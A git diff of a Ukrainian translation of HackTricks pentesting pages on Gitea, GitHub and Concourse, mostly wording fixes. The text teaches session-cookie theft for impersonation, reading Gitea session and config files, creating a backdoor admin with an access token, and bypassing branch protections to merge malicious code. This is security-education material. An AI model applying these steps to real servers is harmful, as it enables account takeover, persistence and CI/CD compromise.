@@ -131,13 +131,13 @@ fly -t tutorial intercept --job pipe-name/simple
|
||||
|
||||
### Тригери
|
||||
|
||||
Вам не потрібно вручну запускати завдання щоразу, коли вам потрібно їх виконати, ви також можете запрограмувати їх на запуск щоразу:
|
||||
Вам не потрібно вручну запускати завдання щоразу, коли вам потрібно їх виконати, ви також можете запланувати їх виконання щоразу:
|
||||
|
||||
- Пройшов деякий час: [Time resource](https://github.com/concourse/time-resource/)
|
||||
- При нових комітах в основну гілку: [Git resource](https://github.com/concourse/git-resource)
|
||||
- При нових комітах до основної гілки: [Git resource](https://github.com/concourse/git-resource)
|
||||
- Нові PR: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
|
||||
- Отримати або надіслати останній образ вашого додатку: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
|
||||
|
||||
Перевірте приклад YAML конвеєра, який спрацьовує на нові коміти в master в [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
|
||||
Перевірте приклад YAML конвеєра, який спрацьовує на нові коміти в master на [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -27,7 +27,7 @@ docker run -p 3000:3000 gitea/gitea
|
||||
helm repo add gitea-charts https://dl.gitea.io/charts/
|
||||
helm install gitea gitea-charts/gitea
|
||||
```
|
||||
## Невідома Енумерація
|
||||
## Неавтентифіковане перерахування
|
||||
|
||||
- Публічні репозиторії: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
|
||||
- Зареєстровані користувачі: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
|
||||
@@ -35,24 +35,24 @@ helm install gitea gitea-charts/gitea
|
||||
|
||||
Зверніть увагу, що за **замовчуванням Gitea дозволяє новим користувачам реєструватися**. Це не надасть особливо цікавого доступу новим користувачам до репозиторіїв інших організацій/користувачів, але **увійшовший користувач** може мати можливість **переглядати більше репозиторіїв або організацій**.
|
||||
|
||||
## Внутрішня Експлуатація
|
||||
## Внутрішня експлуатація
|
||||
|
||||
Для цього сценарію ми будемо припускати, що ви отримали доступ до облікового запису github.
|
||||
|
||||
### З Обліковими Даними Користувача/Веб-Кукі
|
||||
### З обліковими даними користувача/веб-кукі
|
||||
|
||||
Якщо ви якимось чином вже маєте облікові дані для користувача всередині організації (або ви вкрали кукі сесії), ви можете **просто увійти** і перевірити, які **дозволи у вас є** на які **репозиторії,** в **яких командах** ви знаходитесь, **переглянути інших користувачів** і **як захищені репозиторії.**
|
||||
Якщо ви якимось чином вже маєте облікові дані для користувача всередині організації (або ви вкрали кукі сесії), ви можете **просто увійти** і перевірити, які **дозволи у вас є** на які **репозиторії,** в **яких командах** ви знаходитесь, **перелічити інших користувачів** і **як захищені репозиторії.**
|
||||
|
||||
Зверніть увагу, що **може використовуватися 2FA**, тому ви зможете отримати доступ до цієї інформації лише якщо зможете також **пройти цю перевірку**.
|
||||
|
||||
> [!NOTE]
|
||||
> Зверніть увагу, що якщо вам **вдасться вкрасти кукі `i_like_gitea`** (в даний час налаштовані з SameSite: Lax), ви можете **повністю видати себе за користувача** без необхідності в облікових даних або 2FA.
|
||||
|
||||
### З SSH Ключем Користувача
|
||||
### З SSH-ключем користувача
|
||||
|
||||
Gitea дозволяє **користувачам** встановлювати **SSH ключі**, які будуть використовуватися як **метод аутентифікації для розгортання коду** від їх імені (2FA не застосовується).
|
||||
Gitea дозволяє **користувачам** встановлювати **SSH-ключі**, які будуть використовуватися як **метод автентифікації для розгортання коду** від їх імені (2FA не застосовується).
|
||||
|
||||
З цим ключем ви можете виконувати **зміни в репозиторіях, де у користувача є певні привілеї**, однак ви не можете використовувати його для доступу до gitea api для енумерації середовища. Однак ви можете **переглядати локальні налаштування**, щоб отримати інформацію про репозиторії та користувача, до яких у вас є доступ:
|
||||
З цим ключем ви можете виконувати **зміни в репозиторіях, де у користувача є певні привілеї**, однак ви не можете використовувати його для доступу до gitea api для перерахування середовища. Однак ви можете **перерахувати локальні налаштування**, щоб отримати інформацію про репозиторії та користувача, до яких у вас є доступ:
|
||||
```bash
|
||||
# Go to the the repository folder
|
||||
# Get repo config and current user name and email
|
||||
@@ -62,7 +62,7 @@ git config --list
|
||||
|
||||
**SSH ключі** також можуть бути налаштовані в репозиторіях як **ключі розгортання**. Будь-хто, хто має доступ до цього ключа, зможе **запускати проекти з репозиторію**. Зазвичай на сервері з різними ключами розгортання локальний файл **`~/.ssh/config`** надасть вам інформацію про те, до якого ключа це відноситься.
|
||||
|
||||
#### GPG Ключі
|
||||
#### GPG ключі
|
||||
|
||||
Як пояснено [**тут**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md), іноді потрібно підписувати коміти, інакше вас можуть виявити.
|
||||
|
||||
@@ -91,40 +91,40 @@ gpg --list-secret-keys --keyid-format=long
|
||||
- **Увімкнути Push**: Якщо будь-хто з правами на запис може пушити в гілку, просто пуште в неї.
|
||||
- **Білий список обмежених пушів**: Теж саме, якщо ви є частиною цього списку, пуште в гілку.
|
||||
- **Увімкнути білий список злиттів**: Якщо є білий список злиттів, ви повинні бути в ньому.
|
||||
- **Вимагати схвалень більше ніж 0**: Тоді... вам потрібно скомпрометувати іншого користувача.
|
||||
- **Вимагати схвалення більше ніж 0**: Тоді... вам потрібно скомпрометувати іншого користувача.
|
||||
- **Обмежити схвалення для білих списків**: Якщо тільки користувачі з білого списку можуть схвалювати... вам потрібно скомпрометувати іншого користувача, який є в цьому списку.
|
||||
- **Скасувати застарілі схвалення**: Якщо схвалення не видаляються з новими комітами, ви можете захопити вже схвалений PR, щоб вставити свій код і злити PR.
|
||||
- **Скасувати застарілі схвалення**: Якщо схвалення не видаляються з новими комітами, ви можете захопити вже схвалений PR, щоб ввести свій код і злити PR.
|
||||
|
||||
Зверніть увагу, що **якщо ви є адміністратором організації/репозиторію**, ви можете обійти захист.
|
||||
|
||||
### Перерахувати Webhooks
|
||||
### Перерахувати вебхуки
|
||||
|
||||
**Webhooks** здатні **надсилати специфічну інформацію gitea в деякі місця**. Ви можете бути в змозі **використати цю комунікацію**.\
|
||||
Однак зазвичай у **webhook** встановлюється **секрет**, який ви **не можете отримати**, що **запобігає** зовнішнім користувачам, які знають URL вебхука, але не секрет, **використовувати цей webhook**.\
|
||||
**Вебхуки** здатні **надсилати специфічну інформацію gitea в деякі місця**. Ви можете бути в змозі **використати цю комунікацію**.\
|
||||
Однак зазвичай у **вебхуку** встановлюється **секрет**, який ви **не можете отримати**, що **запобігає** зовнішнім користувачам, які знають URL вебхука, але не секрет, **використовувати цей вебхук**.\
|
||||
Але в деяких випадках люди замість того, щоб встановити **секрет** на своє місце, **встановлюють його в URL** як параметр, тому **перевірка URL** може дозволити вам **знайти секрети** та інші місця, які ви могли б далі експлуатувати.
|
||||
|
||||
Webhooks можуть бути встановлені на **рівні репозиторію та організації**.
|
||||
Вебхуки можуть бути встановлені на **рівні репозиторію та організації**.
|
||||
|
||||
## Постексплуатація
|
||||
|
||||
### Всередині сервера
|
||||
|
||||
Якщо вам вдалося потрапити всередину сервера, де працює gitea, вам слід шукати файл конфігурації gitea. За замовчуванням він знаходиться в `/data/gitea/conf/app.ini`
|
||||
Якщо вам вдалося потрапити всередину сервера, де працює gitea, вам слід шукати файл конфігурації gitea. За замовчуванням він знаходиться за адресою `/data/gitea/conf/app.ini`.
|
||||
|
||||
У цьому файлі ви можете знайти **ключі** та **паролі**.
|
||||
|
||||
У шляху gitea (за замовчуванням: /data/gitea) ви також можете знайти цікаву інформацію, таку як:
|
||||
|
||||
- **sqlite** БД: Якщо gitea не використовує зовнішню БД, вона використовуватиме sqlite БД.
|
||||
- **сесії** у папці сесій: Виконавши `cat sessions/*/*/*`, ви можете побачити імена користувачів увійшли (gitea також може зберігати сесії в БД).
|
||||
- **jwt приватний ключ** у папці jwt.
|
||||
- **сесії** в папці сесій: Виконавши `cat sessions/*/*/*`, ви можете побачити імена користувачів, які увійшли в систему (gitea також може зберігати сесії в БД).
|
||||
- **jwt приватний ключ** в папці jwt.
|
||||
- Більше **чутливої інформації** може бути знайдено в цій папці.
|
||||
|
||||
Якщо ви всередині сервера, ви також можете **використовувати двійковий файл `gitea`** для доступу/модифікації інформації:
|
||||
|
||||
- `gitea dump` вивантажить gitea і створить .zip файл.
|
||||
- `gitea dump` виведе gitea і створить .zip файл.
|
||||
- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` згенерує токен вказаного типу (постійність).
|
||||
- `gitea admin user change-password --username admin --password newpassword` Змінити пароль.
|
||||
- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Створити нового адміністратора та отримати токен доступу.
|
||||
- `gitea admin user change-password --username admin --password newpassword` змінить пароль.
|
||||
- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` створить нового адміністратора та отримає токен доступу.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Основна структура
|
||||
|
||||
Основна структура середовища Gitea полягає в групуванні репозиторіїв за **організаціями**, кожна з яких може містити **кілька репозиторіїв** та **кілька команд**. Однак, зверніть увагу, що, як і в github, користувачі можуть мати репозиторії поза організацією.
|
||||
Основна структура середовища Gitea полягає в групуванні репозиторіїв за **організаціями**, кожна з яких може містити **кілька репозиторіїв** та **кілька команд**. Однак, зверніть увагу, що, як і в GitHub, користувачі можуть мати репозиторії поза організацією.
|
||||
|
||||
Більше того, **користувач** може бути **членом** **різних організацій**. У межах організації користувач може мати **різні дозволи на кожен репозиторій**.
|
||||
|
||||
@@ -16,7 +16,7 @@
|
||||
|
||||
### Організації
|
||||
|
||||
Коли **організація створюється**, команда під назвою **Owners** є **створеною**, і користувач потрапляє до неї. Ця команда надасть **адміністративний доступ** до **організації**, ці **дозволи** та **назва** команди **не можуть бути змінені**.
|
||||
Коли **організація створюється**, команда під назвою **Власники** є **створеною**, і користувач потрапляє до неї. Ця команда надасть **адміністративний доступ** до **організації**, ці **дозволи** та **назва** команди **не можуть бути змінені**.
|
||||
|
||||
**Адміністратори організації** (власники) можуть вибрати **видимість** організації:
|
||||
|
||||
@@ -29,7 +29,7 @@
|
||||
При створенні нової команди вибираються кілька важливих налаштувань:
|
||||
|
||||
- Вказується, до яких **репозиторіїв організації члени команди зможуть отримати доступ**: конкретні репозиторії (репозиторії, до яких додана команда) або всі.
|
||||
- Також вказується, **чи можуть члени створювати нові репозиторії** (творець отримає адміністративний доступ до нього)
|
||||
- Також вказується, **чи можуть члени створювати нові репозиторії** (творець отримає адміністративний доступ до нього).
|
||||
- **Дозволи**, які **матимуть** **члени** репозиторію:
|
||||
- **Адміністративний** доступ
|
||||
- **Специфічний** доступ:
|
||||
@@ -52,19 +52,19 @@
|
||||
|
||||
### **SSH ключі**
|
||||
|
||||
Ви можете налаштувати свій обліковий запис з одним або кількома відкритими ключами, що дозволяє відповідному **закритому ключу виконувати дії від вашого імені.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
|
||||
Ви можете налаштувати свій обліковий запис з одним або кількома публічними ключами, що дозволяє відповідному **приватному ключу виконувати дії від вашого імені.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
|
||||
|
||||
#### **GPG ключі**
|
||||
|
||||
Ви **не можете видавати себе за користувача з цими ключами**, але якщо ви їх не використовуєте, може бути можливим, що ви **будете виявлені за відправку комітів без підпису**.
|
||||
|
||||
### **Персональні токени доступу**
|
||||
### **Особисті токени доступу**
|
||||
|
||||
Ви можете згенерувати персональний токен доступу, щоб **надати додатку доступ до вашого облікового запису**. Персональний токен доступу надає повний доступ до вашого облікового запису: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
|
||||
Ви можете згенерувати особистий токен доступу, щоб **надати додатку доступ до вашого облікового запису**. Особистий токен доступу надає повний доступ до вашого облікового запису: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
|
||||
|
||||
### Oauth додатки
|
||||
### Додатки Oauth
|
||||
|
||||
Так само, як і персональні токени доступу, **Oauth додатки** матимуть **повний доступ** до вашого облікового запису та місць, до яких має доступ ваш обліковий запис, оскільки, як зазначено в [документації](https://docs.gitea.io/en-us/oauth2-provider/#scopes), області ще не підтримуються:
|
||||
Так само, як і особисті токени доступу, **додатки Oauth** матимуть **повний доступ** до вашого облікового запису та місць, до яких має доступ ваш обліковий запис, оскільки, як зазначено в [документації](https://docs.gitea.io/en-us/oauth2-provider/#scopes), області ще не підтримуються:
|
||||
|
||||
.png>)
|
||||
|
||||
@@ -74,7 +74,7 @@
|
||||
|
||||
## Захист гілок
|
||||
|
||||
Захист гілок призначений для **не надання повного контролю над репозиторієм** користувачам. Мета полягає в тому, щоб **встановити кілька методів захисту перед тим, як можна буде писати код у деякій гілці**.
|
||||
Захист гілок призначений для **не надання повного контролю над репозиторієм** користувачам. Мета полягає в тому, щоб **встановити кілька методів захисту перед тим, як можна буде писати код у деяку гілку**.
|
||||
|
||||
**Захист гілок репозиторію** можна знайти за адресою _https://localhost:3000/\<orgname>/\<reponame>/settings/branches_
|
||||
|
||||
@@ -83,13 +83,13 @@
|
||||
|
||||
Різні захисти можуть бути застосовані до гілки (наприклад, до master):
|
||||
|
||||
- **Вимкнути Push**: Ніхто не може пушити в цю гілку
|
||||
- **Увімкнути Push**: Будь-хто з доступом може пушити, але не може примусово пушити.
|
||||
- **Список дозволених обмежених Push**: Тільки вибрані користувачі/команди можуть пушити в цю гілку (але без примусового пушу)
|
||||
- **Вимкнути Push**: Ніхто не може відправити дані в цю гілку
|
||||
- **Увімкнути Push**: Будь-хто з доступом може відправити дані, але не може примусово відправити.
|
||||
- **Список дозволених обмежених Push**: Тільки вибрані користувачі/команди можуть відправити дані в цю гілку (але без примусового відправлення)
|
||||
- **Увімкнути список дозволених для злиття**: Тільки користувачі/команди зі списку дозволених можуть зливати PR.
|
||||
- **Увімкнути перевірки статусу:** Вимагати, щоб перевірки статусу пройшли перед злиттям.
|
||||
- **Вимагати схвалення**: Вказати кількість схвалень, необхідних перед злиттям PR.
|
||||
- **Обмежити схвалення до списку дозволених**: Вказати користувачів/команди, які можуть схвалювати PR.
|
||||
- **Обмежити схвалення для списку дозволених**: Вказати користувачів/команди, які можуть схвалювати PR.
|
||||
- **Блокувати злиття на основі відхилених оглядів**: Якщо запитуються зміни, його не можна зливати (навіть якщо інші перевірки проходять)
|
||||
- **Блокувати злиття на основі офіційних запитів на огляд**: Якщо є офіційні запити на огляд, його не можна зливати
|
||||
- **Скасувати застарілі схвалення**: Коли є нові коміти, старі схвалення будуть скасовані.
|
||||
@@ -98,6 +98,6 @@
|
||||
- **Захищені/незахищені шаблони файлів**: Вказати шаблони файлів для захисту/незахисту від змін
|
||||
|
||||
> [!NOTE]
|
||||
> Як ви можете бачити, навіть якщо вам вдалося отримати деякі облікові дані користувача, **репозиторії можуть бути захищені, що заважає вам пушити код до master**, наприклад, для компрометації CI/CD конвеєра.
|
||||
> Як ви можете бачити, навіть якщо вам вдалося отримати деякі облікові дані користувача, **репозиторії можуть бути захищені, що заважає вам відправляти код у master**, наприклад, для компрометації CI/CD конвеєра.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Що таке Github
|
||||
|
||||
(З [тут](https://kinsta.com/knowledgebase/what-is-github/)) На високому рівні, **GitHub - це вебсайт і хмарний сервіс, який допомагає розробникам зберігати та керувати своїм кодом, а також відстежувати та контролювати зміни в їхньому коді**.
|
||||
(З [тут](https://kinsta.com/knowledgebase/what-is-github/)) На високому рівні, **GitHub - це вебсайт та хмарний сервіс, який допомагає розробникам зберігати та керувати своїм кодом, а також відстежувати та контролювати зміни в їхньому коді**.
|
||||
|
||||
### Основна інформація
|
||||
|
||||
@@ -20,11 +20,11 @@ basic-github-information.md
|
||||
- **Внутрішній** означає, що **тільки** люди з **підприємства** (підприємство може мати кілька організацій) зможуть отримати до нього доступ
|
||||
- **Публічний** означає, що **весь інтернет** зможе отримати до нього доступ.
|
||||
|
||||
Якщо ви знаєте **користувача, репозиторій або організацію, яку хочете націлити**, ви можете використовувати **github dorks**, щоб знайти чутливу інформацію або шукати **витоки чутливої інформації** **в кожному репозиторії**.
|
||||
Якщо ви знаєте **користувача, репозиторій або організацію, яку хочете націлити**, ви можете використовувати **github dorks** для пошуку чутливої інформації або шукати **витоки чутливої інформації** **в кожному репозиторії**.
|
||||
|
||||
### Github Dorks
|
||||
|
||||
Github дозволяє **шукати щось, вказуючи в якості області користувача, репозиторію або організації**. Тому, з переліком рядків, які будуть з'являтися поруч з чутливою інформацією, ви можете легко **шукати потенційну чутливу інформацію у вашій цілі**.
|
||||
Github дозволяє **шукати щось, вказуючи в якості області користувача, репозиторій або організацію**. Тому, з переліком рядків, які будуть з'являтися поруч з чутливою інформацією, ви можете легко **шукати потенційну чутливу інформацію у вашій цілі**.
|
||||
|
||||
Інструменти (кожен інструмент містить свій список dorks):
|
||||
|
||||
@@ -51,7 +51,7 @@ Github дозволяє **шукати щось, вказуючи в якост
|
||||
|
||||
### Зовнішні форки
|
||||
|
||||
Можливо **компрометувати репозиторії, зловживаючи pull requests**. Щоб дізнатися, чи вразливий репозиторій, вам в основному потрібно прочитати конфігурації yaml Github Actions. [**Більше інформації про це нижче**](./#execution-from-a-external-fork).
|
||||
Можливо **компрометувати репозиторії, зловживаючи запитами на злиття**. Щоб дізнатися, чи вразливий репозиторій, вам в основному потрібно прочитати конфігурації yaml Github Actions. [**Більше інформації про це нижче**](./#execution-from-a-external-fork).
|
||||
|
||||
### Github Витоки в видалених/внутрішніх форках
|
||||
|
||||
@@ -67,17 +67,17 @@ accessible-deleted-data-in-github.md
|
||||
|
||||
Є деякі **за замовчуванням привілеї**, які можуть бути надані **учасникам** організації. Їх можна контролювати зі сторінки `https://github.com/organizations/<org_name>/settings/member_privileges` або з [**API організацій**](https://docs.github.com/en/rest/orgs/orgs).
|
||||
|
||||
- **Базові дозволи**: Учасники матимуть дозвіл None/Read/write/Admin на репозиторії організації. Рекомендується **None** або **Read**.
|
||||
- **Форкування репозиторіїв**: Якщо це не потрібно, краще **не дозволяти** учасникам форкати репозиторії організації.
|
||||
- **Створення сторінок**: Якщо це не потрібно, краще **не дозволяти** учасникам публікувати сторінки з репозиторіїв організації. Якщо потрібно, ви можете дозволити створення публічних або приватних сторінок.
|
||||
- **Запити на доступ до інтеграцій**: З цим увімкненим зовнішні співпрацівники зможуть запитувати доступ до GitHub або OAuth додатків для доступу до цієї організації та її ресурсів. Це зазвичай потрібно, але якщо ні, краще вимкнути.
|
||||
- _Я не зміг знайти цю інформацію в відповіді API, поділіться, якщо ви знайшли_
|
||||
- **Зміна видимості репозиторію**: Якщо увімкнено, **учасники** з **адміністративними** правами для **репозиторію** зможуть **змінювати його видимість**. Якщо вимкнено, тільки власники організації можуть змінювати видимість репозиторіїв. Якщо ви **не** хочете, щоб люди робили речі **публічними**, переконайтеся, що це **вимкнено**.
|
||||
- _Я не зміг знайти цю інформацію в відповіді API, поділіться, якщо ви знайшли_
|
||||
- **Базові дозволи**: Учасники матимуть дозвіл None/Read/write/Admin над репозиторіями організації. Рекомендується **None** або **Read**.
|
||||
- **Форкування репозиторіїв**: Якщо це не потрібно, краще **не дозволяти** учасникам форкувати репозиторії організації.
|
||||
- **Створення сторінок**: Якщо це не потрібно, краще **не дозволяти** учасникам публікувати сторінки з репозиторіїв організації. Якщо потрібно, ви можете дозволити створювати публічні або приватні сторінки.
|
||||
- **Запити на доступ до інтеграцій**: З цим увімкненим зовнішні співпрацівники зможуть запитувати доступ до GitHub або OAuth додатків для доступу до цієї організації та її ресурсів. Це зазвичай потрібно, але якщо ні, краще вимкнути це.
|
||||
- _Я не зміг знайти цю інформацію в відповіді API, поділіться, якщо ви знаєте_
|
||||
- **Зміна видимості репозиторію**: Якщо увімкнено, **учасники** з **адміністративними** правами для **репозиторію** зможуть **змінити його видимість**. Якщо вимкнено, тільки власники організації можуть змінювати видимість репозиторіїв. Якщо ви **не** хочете, щоб люди робили речі **публічними**, переконайтеся, що це **вимкнено**.
|
||||
- _Я не зміг знайти цю інформацію в відповіді API, поділіться, якщо ви знаєте_
|
||||
- **Видалення та передача репозиторію**: Якщо увімкнено, учасники з **адміністративними** правами для репозиторію зможуть **видаляти** або **передавати** публічні та приватні **репозиторії**.
|
||||
- _Я не зміг знайти цю інформацію в відповіді API, поділіться, якщо ви знайшли_
|
||||
- _Я не зміг знайти цю інформацію в відповіді API, поділіться, якщо ви знаєте_
|
||||
- **Дозволити учасникам створювати команди**: Якщо увімкнено, будь-який **учасник** організації зможе **створювати** нові **команди**. Якщо вимкнено, тільки власники організації можуть створювати нові команди. Краще, щоб це було вимкнено.
|
||||
- _Я не зміг знайти цю інформацію в відповіді API, поділіться, якщо ви знайшли_
|
||||
- _Я не зміг знайти цю інформацію в відповіді API, поділіться, якщо ви знаєте_
|
||||
- **Більше речей можна налаштувати** на цій сторінці, але попередні є найбільш пов'язаними з безпекою.
|
||||
|
||||
### Налаштування дій
|
||||
@@ -87,13 +87,13 @@ accessible-deleted-data-in-github.md
|
||||
> [!NOTE]
|
||||
> Зверніть увагу, що всі ці конфігурації також можуть бути встановлені для кожного репозиторію незалежно
|
||||
|
||||
- **Політики дій Github**: Це дозволяє вам вказати, які репозиторії можуть запускати робочі процеси і які робочі процеси повинні бути дозволені. Рекомендується **вказати, які репозиторії** повинні бути дозволені і не дозволяти всім діям виконуватись.
|
||||
- **Політики дій Github**: Це дозволяє вказати, які репозиторії можуть виконувати робочі процеси та які робочі процеси повинні бути дозволені. Рекомендується **вказати, які репозиторії** повинні бути дозволені і не дозволяти всім діям виконуватись.
|
||||
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
|
||||
- **Форки pull request робочих процесів від зовнішніх співпрацівників**: Рекомендується **вимагати схвалення для всіх** зовнішніх співпрацівників.
|
||||
- _Я не зміг знайти API з цією інформацією, поділіться, якщо ви знайшли_
|
||||
- **Запуск робочих процесів з pull request форків**: Вкрай **не рекомендується запускати робочі процеси з pull request** оскільки утримувачі походження форка отримають можливість використовувати токени з правами читання на вихідному репозиторії.
|
||||
- _Я не зміг знайти API з цією інформацією, поділіться, якщо ви знайшли_
|
||||
- **Дозволи робочих процесів**: Вкрай рекомендується **надавати лише права читання на репозиторії**. Не рекомендується надавати права на запис і створення/схвалення pull requests, щоб уникнути зловживання GITHUB_TOKEN, наданим для виконання робочих процесів.
|
||||
- **Робочі процеси запитів на злиття з зовнішніх співпрацівників**: Рекомендується **вимагати схвалення для всіх** зовнішніх співпрацівників.
|
||||
- _Я не зміг знайти API з цією інформацією, поділіться, якщо ви знаєте_
|
||||
- **Виконання робочих процесів з запитів на злиття**: Це **сильно не рекомендується** виконувати робочі процеси з запитів на злиття, оскільки утримувачі походження форку отримають можливість використовувати токени з правами читання на вихідному репозиторії.
|
||||
- _Я не зміг знайти API з цією інформацією, поділіться, якщо ви знаєте_
|
||||
- **Дозволи робочих процесів**: Сильно рекомендується **надавати лише права читання на репозиторій**. Не рекомендується надавати права на запис і створення/схвалення запитів на злиття, щоб уникнути зловживання GITHUB_TOKEN, наданим для виконання робочих процесів.
|
||||
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
|
||||
|
||||
### Інтеграції
|
||||
@@ -109,18 +109,18 @@ _Дайте знати, якщо ви знаєте кінцеву точку API
|
||||
|
||||
### З обліковими даними користувача
|
||||
|
||||
Якщо ви якимось чином вже маєте облікові дані для користувача всередині організації, ви можете **просто увійти** і перевірити, які **ролі підприємства та організації у вас є**, якщо ви звичайний учасник, перевірте, які **дозволи мають звичайні учасники**, в яких **групах** ви знаходитесь, які **дозволи ви маєте** на які **репозиторії** та **як захищені репозиторії**.
|
||||
Якщо ви якимось чином вже маєте облікові дані для користувача всередині організації, ви можете **просто увійти** та перевірити, які **ролі підприємства та організації у вас є**, якщо ви є звичайним учасником, перевірте, які **дозволи мають звичайні учасники**, в яких **групах** ви знаходитесь, які **дозволи у вас є** над якими **репозиторіями** та **як захищені репозиторії**.
|
||||
|
||||
Зверніть увагу, що **може використовуватись 2FA**, тому ви зможете отримати доступ до цієї інформації лише якщо зможете також **пройти цю перевірку**.
|
||||
Зверніть увагу, що **може використовуватися 2FA**, тому ви зможете отримати доступ до цієї інформації лише якщо зможете також **пройти цю перевірку**.
|
||||
|
||||
> [!NOTE]
|
||||
> Зверніть увагу, що якщо вам **вдасться вкрасти cookie `user_session`** (в даний час налаштований з SameSite: Lax), ви зможете **повністю видати себе за користувача** без необхідності в облікових даних або 2FA.
|
||||
> Зверніть увагу, що якщо ви **вдасться вкрасти cookie `user_session`** (в даний час налаштований з SameSite: Lax), ви зможете **повністю видати себе за користувача** без необхідності в облікових даних або 2FA.
|
||||
|
||||
Перевірте розділ нижче про [**обхід захисту гілок**](./#branch-protection-bypass), якщо це буде корисно.
|
||||
|
||||
### З SSH ключем користувача
|
||||
|
||||
Github дозволяє **користувачам** встановлювати **SSH ключі**, які будуть використовуватись як **метод аутентифікації для розгортання коду** від їх імені (2FA не застосовується).
|
||||
Github дозволяє **користувачам** встановлювати **SSH ключі**, які будуть використовуватися як **метод аутентифікації для розгортання коду** від їх імені (2FA не застосовується).
|
||||
|
||||
З цим ключем ви можете виконувати **зміни в репозиторіях, де у користувача є певні привілеї**, однак ви не можете використовувати його для доступу до API github для перерахунку середовища. Однак ви можете **перерахувати локальні налаштування**, щоб отримати інформацію про репозиторії та користувача, до яких у вас є доступ:
|
||||
```bash
|
||||
@@ -128,9 +128,9 @@ Github дозволяє **користувачам** встановлювати
|
||||
# Get repo config and current user name and email
|
||||
git config --list
|
||||
```
|
||||
Якщо користувач налаштував своє ім'я користувача як своє ім'я користувача github, ви можете отримати доступ до **публічних ключів, які він налаштував** у своєму обліковому записі за адресою _https://github.com/\<github_username>.keys_, ви можете перевірити це, щоб підтвердити, що приватний ключ, який ви знайшли, можна використовувати.
|
||||
Якщо користувач налаштував своє ім'я користувача як своє ім'я користувача github, ви можете отримати доступ до **публічних ключів, які він налаштував** у своєму обліковому записі за адресою _https://github.com/\<github_username>.keys_, ви можете перевірити це, щоб підтвердити, що приватний ключ, який ви знайшли, може бути використаний.
|
||||
|
||||
**SSH ключі** також можуть бути налаштовані в репозиторіях як **ключі для розгортання**. Будь-хто, хто має доступ до цього ключа, зможе **запускати проекти з репозиторію**. Зазвичай на сервері з різними ключами для розгортання локальний файл **`~/.ssh/config`** надасть вам інформацію про те, до якого ключа це відноситься.
|
||||
**SSH ключі** також можуть бути налаштовані в репозиторіях як **ключі розгортання**. Будь-хто, хто має доступ до цього ключа, зможе **запускати проекти з репозиторію**. Зазвичай на сервері з різними ключами розгортання локальний файл **`~/.ssh/config`** надасть вам інформацію про те, до якого ключа це відноситься.
|
||||
|
||||
#### GPG Ключі
|
||||
|
||||
@@ -144,7 +144,7 @@ gpg --list-secret-keys --keyid-format=long
|
||||
|
||||
Для введення про [**токени користувача перевірте основну інформацію**](basic-github-information.md#personal-access-tokens).
|
||||
|
||||
Токен користувача може використовуватися **замість пароля** для Git через HTTPS або може бути використаний для [**автентифікації до API через базову автентифікацію**](https://docs.github.com/v3/auth/#basic-authentication). Залежно від привілеїв, які до нього прикріплені, ви можете виконувати різні дії.
|
||||
Токен користувача може використовуватися **замість пароля** для Git через HTTPS або може використовуватися для [**автентифікації в API через базову автентифікацію**](https://docs.github.com/v3/auth/#basic-authentication). Залежно від привілеїв, які до нього прикріплені, ви можете виконувати різні дії.
|
||||
|
||||
Токен користувача виглядає так: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
|
||||
|
||||
@@ -179,13 +179,13 @@ abusing-github-actions/
|
||||
- **Вимагати певну кількість схвалень**: Якщо ви скомпрометували кілька облікових записів, ви можете просто приймати свої PR з інших облікових записів. Якщо у вас є лише обліковий запис, з якого ви створили PR, ви не можете прийняти свій власний PR. Однак, якщо у вас є доступ до середовища **Github Action** всередині репозиторію, використовуючи **GITHUB_TOKEN**, ви можете **схвалити свій PR** і отримати 1 схвалення таким чином.
|
||||
- _Примітка для цього та для обмеження власників коду, що зазвичай користувач не зможе схвалити свої власні PR, але якщо ви можете, ви можете зловживати цим, щоб приймати свої PR._
|
||||
- **Скасувати схвалення, коли нові коміти надсилаються**: Якщо це не налаштовано, ви можете подати легітимний код, почекати, поки хтось його схвалить, а потім вставити шкідливий код і злити його в захищену гілку.
|
||||
- **Вимагати огляди від власників коду**: Якщо це активовано і ви є власником коду, ви можете зробити так, щоб **Github Action створив ваш PR, а потім схвалити його самостійно**.
|
||||
- **Вимагати перевірки від власників коду**: Якщо це активовано і ви є власником коду, ви можете зробити так, щоб **Github Action створив ваш PR, а потім ви самі його схвалили**.
|
||||
- Коли файл **CODEOWNER неправильно налаштований**, Github не скаржиться, але не використовує його. Тому, якщо він неправильно налаштований, **захист власників коду не застосовується.**
|
||||
- **Дозволити вказаним акторам обходити вимоги до запитів на злиття**: Якщо ви один з цих акторів, ви можете обійти захист запитів на злиття.
|
||||
- **Включити адміністраторів**: Якщо це не налаштовано і ви є адміністратором репозиторію, ви можете обійти ці захисти гілок.
|
||||
- **Викрадення PR**: Ви можете бути в змозі **модифікувати PR когось іншого**, додаючи шкідливий код, схвалюючи отриманий PR самостійно і зливаючи все.
|
||||
